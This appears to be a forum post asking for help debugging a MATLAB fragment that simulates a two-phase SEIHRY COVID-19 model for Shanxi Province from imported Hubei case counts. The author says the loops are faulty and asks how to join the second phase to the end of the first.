%恢复率 S(1)=3.718e+07; %c(1)./(1+exp(-c(3))) E(1)=0; I(1)=0; H(1)=0; R(1)=0; Y(1)=0; ME=[1,0,1,2,0,4,5,11,19,23,2,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数--23天数据 MI=[1,2,1,0,4,4,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; h1=100; G=repmat(ME,h1,1);GG=repmat(MI,h1,1); %% repmat 把数组转化成矩阵 T=G(:)'; %%2020年1月14日到2月5日的每天从湖北输入的潜伏者E的病例数 TT=GG(:)'; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数 n=length(T); h=0.01; for i=1:23 S(i+1)=(-(beta+q*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q)*k*beta*E(i)+(1-q)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m*I(i))*h+I(i); H(i+1)=(m*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end for i=23:n S(i+1)=(-(beta+q2*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q2)*k*beta*E(i)+(1-q2)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m5*I(i))*h+I(i); H(i+1)=(m5*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q2*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end A(1)=I(1); for j=2:length(ME) A(j)=I((j-1)*h1+1)+27; end figure(2) t2=23:1:46; plot(t2,A(1,23:46),'c--','LineWidth',1.5); set(0,'defaultfigurecolor','w') xlabel('Time(Day)') title('Shanxi Province') ylim([0 240]); ylabel('Cumulative infected COVID-2019 cases') legend('Cumulative infected data','model simualition','m=0.05','m=0.01','m=0.03','m=0.07','m=0.09','Location','Best' ) set(gca,'XTicklabel',{'1.14','1.19','1.24','1.29','2.03','2.08','2.13','2.18','2.23','2.28','3.04'}) grid on hold off drawnow 好像是SEIHRY公式下面的for循环出现问题,但不知道应该怎么改,想要第二阶段连接到第一段末尾,并且改变第一阶段的参数不会影响到第二阶段